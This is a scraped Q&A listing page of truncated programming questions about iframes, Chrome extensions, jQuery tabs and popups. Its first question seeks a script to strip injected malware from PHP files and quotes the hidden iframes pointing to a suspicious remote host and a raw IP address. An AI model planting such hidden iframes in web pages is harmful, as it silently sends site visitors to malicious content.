iframe,google-chrome-extension,tabs,popupRelated issues-Collection of common programming errors
AciDRaT
shell iframe
i am looking for a shell script to remove following code from multiple files:<iframe hbfww=’BoGJMTtZ’ src=’http://getrelax4you.com/in.cgi?7 ‘ width=’665′ height=’432′ style=’display:none’></iframe>I found scripts to remove iframes but they alle where for code with double quotesLike this one here:find -name “*.php” -exec sed -i ‘s/<iframe src=”http:\/\/124.217.252.62\/~admin\/count.php?o=2″ width=0 height=0 style=”hidden” frameborder=0 marginheight=0 marginwidth=0 scrolling=no>&
medovob
events iframe safari hover touch
Adding a touchstart event listener on a document appears to create unexpected behaviour on child iframes. It appears that hover states are triggered on items in the child iframe content when you try to scroll. I have setup an example to demonstrate this here:To see the “bug”, test this url in mobile Safari (not sure if the same issue applies to other browsers)http://fiddle.jshell.net/tChLS/2/show/light/When you drag over the listview, hover states are sporadically triggered on the individual lis
sebagomez
iframe youtube-api windows-store-apps winjs
So I’m using YouTube’s iframes in order to show some videos in my app. The thing is I cannot make the videos fullscreen.I’m using this code:<iframe width=”560″ height=”315″ src=”http://www.youtube.com/embed/RnYcPJTtV1A” frameborder=”0″ allowfullscreen></iframe>If you write that on a single html file the browser (all of them) will show you the fullscreen button on the far right. But, that same code on a Win8 app (html of course) will display the video but will not show the fullscreen
Sander Smith
gwt iframe
I’m building a GWT application that looks great. At the end of the page I’d like to include a WordPress blog that I’m developing. In order to do that I want to use a com.google.gwt.user.client.ui.Frame so that an IFrame gets created, and the WordPress just gets seamlessly embedded.I’ve built this and it seems to work, although there’s a problem with the size of the IFrame. I’m not sure how it’s getting sized, but it’s too small so that scrollbars are thrown onto it. This makes the the embedding
randy
jquery jquery-ui iframe
i am looking for suggestions/workarounds or better ways to do this This little bit of code works for FF and chrome but hideProgress does not get called in IEfunction showPDF(url){$(“#divId”).html(‘<div id=”loading”>Loading….</div><iframe id=”modalIframeId” width=”100%” height=”100%” src=’+url+’ marginWidth=”0″ marginHeight=”0″ frameBorder=”0″scrolling=”auto” title=”Dialog Title” onload=”hideProgress();”>Your browser does not support</iframe>’).dialog(‘open’);return ;}fu
Tom Burman
magento iframe video
Hi guys im having an issue with an embedded iframe YouTube video on my websitemrandmrsgrey.comIt shows in IE and Chrome but not in Firefox? Any ideas? I get no errors in firebug etc. The website is built using magento, could this be causing the problem?ThanksEDITI don’t believe the issue is the video, i believe it is Firefox. When i go on my site and refresh a page once or twice i start getting numerous errors in the script pane of firebug. Here are some examples:JSON.parse: unexpected non-white
FlyingCat
javascript iframe
I am trying to call a function and pass a parameter to a iframe javascript function from the parent.I havedocument.getElementById(‘iframeD’).contentWindow.detect(name);in my parent javascriptin my iframe..if I havefunction detect(name){console.log(name); }it will gives me Uncaught SyntaxError: Unexpected token nameHowever, if I only call the function without parameterdocument.getElementById(‘iframeD’).contentWindow.detect();and make my iframe function function detect(){console.log(‘I want to pas
Rodrigo Waldow
javascript iframe
I have a button with an onclick that calls the function iniciaIframe. This function class and passes a url with an image. But returns error. The window opens but does not bring the image. Could someone help me?<a href=”#” id=”button-visao360″ class=”button visao360 gbox” onclick=”iniciaIframe(‘.iframevisao3d’, ‘http://siteexample.com.br/EstruturaProdutos/Arquivo3D/cod_33044216/index.html’)” rel=”gboxmodal2;400;auto” style=”display: block;”><span>Visão 360</span> </a><i
Trant
javascript iframe cross-domain
I am trying to use postMessage/receiveMessage to access the response of a cross-domain request via an iframe.The iframe calls a resource which usually does a particular operation, but when there is an error it instead responds with a script snippet that calls postMessage.This was working in development environment but in production it fails and I guess it has something to do with HTTPS but not sure how to resolve it.The response code looks like this:<script> $.postMessage(whateverData, ‘ht
Larsenal
html iframe
We could also include IFrames as well.
Brock Adams
google-chrome google-chrome-extension greasemonkey
My goal is to use a Greasemonkey-style user script in Google Chrome to enable remembering of passwords on a specific form that has the autocomplete=”off” attribute set.Chrome’s developer tools indicate that autocomplete=”on” is being successfully set by the script, but this does not have the expected effect of allowing the storage of passwords on the form.Why doesn’t this work?ExampleChrome offers to remember passwords entered on this test page (Expected):<html><body><form action=
Zeynel
javascript scope google-chrome-extension
This question is about a similar javascript scope problem that I asked yesterday. I hope you can help me resolve this issue.I am working with a Chrome extension. options.html saves to localStorage a new user email as “user” and calls refreshUser() function in background.html://save entered gmail address document.getElementById(“save”).addEventListener(“click”, function (){var user = document.getElementById(“getEmail”).value;localStorage.setItem(“user”, user);chrome.extension.getBackgroundPage().
Methos
google-chrome google-chrome-extension
I’ve written a chrome extension in which the content script, immediately after getting loaded, talks to the background page and informs which website was loaded in that tab. But I see a very strange pattern when I search for queries in google. Let’s say, if I search for “javascript regular expressions” and first result is “w3schools.com”, then my background page reports that content script sent “google.com” and then “w3schools.com”. Out of this, the first reporting is expected since I am searchi
Mathletics
javascript google-chrome-extension
In this instance, I load a single paypal page, in which I am prompted to login. Once I login, the page changes, through the use of other javascripts on paypal’s end. The address does not change on this transition, nor does the source code in any material way. I am trying to find a way to have my script wait long enough after the first click to be able to get the element that loads after. I thought I could do this fairly simple using the following:document.getElementById(“submitLogin”).click(
Braiam
javascript google-chrome google-chrome-extension
I’m having a piece of code very simple. It checks two parameters. If first parameter is false it change the popup icon in the chrome extension, if it’s true and previously was false, then it change the icon backs and if no parameters is passed it returns the current values.The problem is that either way, both the variable and the first parameter that is being passed as boolean, is interpreted as string and that produce unexpected results. Here’s my code:var status = true; var reason; function is
aclave1
javascript google-chrome-extension
I am having some weird results with message passing. I have a content script interacting with a script embedded in my popup page. Currently, they are repeatedly sending the same messages and responses to eachother. I feel like this has something to do with my event listeners firing too much, or maybe the methods i’ve written to pass the messages are creating some sort of accidental message loop. My popup script has some logic to inject my content script into every webpage the user visits:documen
Uri
javascript google-chrome-extension content-script
I have a chrome content script running on a few pages, with a console.log (and nothing else). I’ve noticed that on one page the script doesn’t run (no console output). The only thing different about this page is that its original code runs with an error. Can this be the reason the content script does not run on this page?Is there a way to make it run in spite of the error?
Ruffy
google-chrome-extension message-passing
Not sure why, but I’m getting an unexpected identifier error when trying to append an element to the document in a response function. I’ve found that doing anything with the document seems to give me this error. Here’s a sample code:chrome.extension.sendRequest({send:data},function(response) {document.body.innerHTML=’test’})It looks to me like it should work, but evidently it does now. This piece of code is located in the contentscript, and messing with the document outside of this function seem
Benjamin Bakhshi
javascript json google-chrome-extension
I am converting amazon link localizer into a Chrome extension. The error I am currently dealing with is:Uncaught ReferenceError: checkAmazonLinks is not defined The URL that is posting this JSON is: https://freegeoip.net/json/?callback=checkAmazonLinks I am calling it in my JS file as such:function findLocation() { if (typeof google != “undefined” && google.loader.ClientLocation != null) {var strCountry = google.loader.ClientLocation.address.country_code;checkAmazonLinks(strCountry)conso
Meowsome
javascript jquery html google-chrome-extension
I get this error in the javascript console of a google chrome extension that I’m making and I don’t know why, can someone help me? Here are my scripts:popup.jsfunction urlReduce(href){href = href.replace(href.substring(href.indexOf(location.pathname), href.length), “”);href = href.replace(“http://”, “”).replace(“www.”, “”);return href; }chrome.runtime.onMessage.addListener(function (message) {var hosts = [“novamov.com”, “videoweed.es”, “vidspot.net”, “allmyvideos.net”, “streamcloud.eu”, “magnovi
darnpunk
php session tabs
I’ve done a booking application done using CakePHP which involves a few steps before the checkout page. In between these steps I store the information in the session. How it works is that Step 1 requires them to fill in their information. When going to Step 2, the information in Step 1 will be saved into the session object. As they proceed in the other steps, the process repeats. At the end when they checkout, all the data is then saved to the database.Everything works great if the user opens on
Karunagara Pandi
selenium hyperlink tabs ide
I’m using Selenium IDE 2.4.0 version for testing our web application. In a scenario, when I click on the link from the web page, it opens a new tab. There I’ll be performing some action such as entering data and saving the action etc.My problem is, Selenium IDE recording the hyperlink but it does not open the new tab and it is displaying the following error message in the Log.[warn] Link has target ‘_blank’, which is not supported in Selenium! Randomizing target to be: selenium_blank64967 [error
kranthi
jquery dynamic tabs
I have an aspx page on which I have 2 static jquery tabs.Upon clicking on a button avaiable on one of these tabs,I would like to add a new tab dynamically,which gets its content loaded from another aspx page.I’ve also tried with the following samplehttp://jquery-ui.googlecode.com/svn/trunk/demos/tabs/manipulation.htmlI’ve downloaded jquery-ui-1.8rc3.custom zip file and tried to add the above page with the relevant script,css files to my asp.net website and run,but it does not seem to work.Also I
William Niu
ajax jquery-ui tabs jquery-ui-tabs
When the caching remains disabled (i.e. cache: false), how can I prevent the tab from loading the remote content again? Essentially, I would like to select a tab but not load it.
bam54
jquery tabs twitter-bootstrap collapse
I am relatively new to JQuery, so please excuse this question if it seems trivial. I have a page, as outlined by the HTML below, with three tab elements, each of which may have an unspecified number of collapsible elements within. I am using a python dictionary called ‘groupings’ to pass data from the server, it’s structure is as follows:groupings = {tab1: [[group, [(key, value), …]], …], …}I am using Twitter Bootstrap as a frontend framework and Jinja2 as a templating engine, with Pytho
RDC
android tabs android-actionbar
I followed instruction for actionbar Tab from hereI’d like to user to be able to scroll back to top of list-view when they reselect a tab. I put listView.setSelection(0) inside onTabReselected(Tab,FragmentTransaction) method. It works as intended when I re-click the tab already chosen.But the function is also called when I didn’t expect it to be. I start a new activity. When I come back to the original activity(with the tab), the onTabReselected function is called.How can I differentiate the tw
BoltClock
jquery tabs blueprint-css
a couple of queries with jquery…I’m trying to create a tabbed panel, initially I tried using jquery tabs ui but could not get it to exist with blueprint. Whenever I used a ‘span-xx’ class within the pane the whole structure seemed to break and the panes appeared outside of the tab area.A bit if digging and I found the blueprint example from their site so got to work on that method instead. The jquery code appeared at the footer and I understand this is so it runs after the page is loaded? I tr
NeilGhosh
jquery mobile tabs active
I have a doubt in jquery mobile. I have set up a navigation bar. But I don’t how to keep it highlighted on selecting a particular tab. I am aware of the class ui-btn-active but don’t know how to apply it into the tab selected. Someone out there please provide a solution?
Sam-In-TechValens
android tabs actionbarsherlock
I am working on Actionbar using Sherlock library. I want to change the Background Image of the Actionbar and Tabs differently. Currently I have changed the Background of the Actionbar successfully via codes at runtime: Drawable myIcon = getResources().getDrawable(R.drawable.blue_menu_background); mActionBar.setBackgroundDrawable(myIcon);But I am getting problem with the Tab background. How can I change the Background of Tabs. Please suggest me.
tarun_sharma
tabs sencha-touch sencha
In my application i am having a tabPanel. The title and icons of the tabs need to be dynamic. I am getting this data from the server. But i couldn’t find any way which can load icons from a external source URL. I used the iconCls property with my custom class as .tab{-webkit-mask-box-image: url(“SomeHttpURL”)} but this is also static. How do i make SomeHttpURL a placeholder which replaces with the URL i am getting from server at the runtime?Tarun Sharma.
Whitewall
php jquery zend-framework popup
I am working on zend framework, PHP and jQuery. I am working on popups sometimes. When any popup is open on the screen, we can still clicks links on webpage behind popup which causes some unexpected behaviour. How can I disable a webpage behind popup. I have seen some web application in which when popup appears then webpage behind popup become shady.I have read some tutorial about this. In each tutorial a link is used to open a dialog and an special attribute is added in anchor tag for modal. Bu
DigitalRoss
wpf popup windowsformshost
I am hosting windowsforms control in WPF popup. Problems below:If i make StaysOpen=False i can’t interact with winform control. StaysOpen to false is required because when clicked outsidet the Popup region, it should close. if i make StaysOpen=True i can interact with winform control but when i click outside the area of popup, it is not getting closed. I tried setting StaysOpen=true in MouseEnter of popup and StaysOpen=False in MouseLeave, but MouseLeave fires as and when mouse is over winform
user1114409
php function popup greybox
As per the example given in stackoverflow I tried greybox popup, calling from a function based on a if condition in my php program.It gives an error like: Parse error: syntax error, unexpected ‘=’ in /home/public_html/atst/dc-detail-qty.php on line 456The php partial code with if condition true, the greybox popup should work:if($dcecrbal < 0) { $pop=100; echo “<span class=’sty1′>Negative Bal: “.$dcecrbal.” (Total ECR: “.$ecrdtl.” – Total DCs: “.$dcdtl.”) </span>”; //echo “<scr
Glen Lamb
java popup eclipse-rcp
I am trying to get hold of a shell in Eclipse RCP and bring up popups in my application and had gone through several resources/tutorials to achieve the task but without much luck.Tried:Display.getCurrent().getActiveShell();orDisplay.getDefault().getActiveShell();orPlatformUI.getWorkbench().getActiveWorkbenchWindow().getShell();or sometimes evenDisplay.getDefault().getShells()[0];But different things seem to work in different situations.Resources online have different views and most things I find
Chun
ios uitableview uiview popup
I have a UITableView with a bunch of rows. When a user taps on a row, a custom pop-up (which is a custom UIView) will appear on top of the table:- (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath {PopUp *myPopUp = [[PopUp alloc] initWithFrame:CGRectMake(0, 0, 320, 568)];[self.view addSubview:myPopUp]; }I’m loading my custom UIView PopUp from a nib:- (id)initWithFrame:(CGRect)frame {self = [super initWithFrame:frame];if (self) {[self loadNib];}return self;
xuc
php javascript popup
I just asked another question here: global variable and reduce database accesses in PHP+MySQL I am using PHP+MySQL. The page accesses to the database and retrieve all the item data, and list them. I was planning to open a new page, but now I want to show a pop div using javascript instead. But I have no idea how to utilize the variables of PHP in the new div. Here is the code:<html> </head> <script type=”text/javascript”> function showDiv() {document.getElementById(‘infoDiv’).s
Prasad Din
testing selenium popup selenium2 selenium-ide
I want to verify text value of pop up. I am taking runtime value using storeText and verifying exixtance of text on pop up. I had tried using storeText & verifyTextPresent but its giving me error. Pls he me out this.
Reboog711
flex actionscript-3 flex3 popup mate-flex-framework
in one of my forms, I have used the following code for adding Mate Listeners<mate:Listener type=”{DBEvent.Update_Result}” receive=”{onUpdateResults(event)}”/>I am displaying this form as a popup. What happening is, for the first time, onUpdateResults method executed only once as expected. Then i close the popup and reopened it. This time onUpdateResults method called twice, then next 4time and so on…After so much of googling, i found that Mate Listeners are still active, even though we r
Liquid Soul
android xml keyboard popup custom-controls
@@@@@ this is what i have done till now @@@@@1- i have created Keyboard layout (mykeyboard.xml) 2- i have created Keyboard layout (mypopupkeyboard.xml)to show as popup for one of keys in Keyboard created in level 1 (mykeyboard.xml) 3- i have created a custom keyboard Class4- in my customKeyboard.java :a. i created a KeyboardView variable (KeyboardView _myAppKeyboard;)b. i loaded Keyboard layout (R.xml.mykeyboard) in to a local variable of keyboard type (Keyboard _myKeyboard;)c. then set keys at
Dave Clemmer
Web site is in building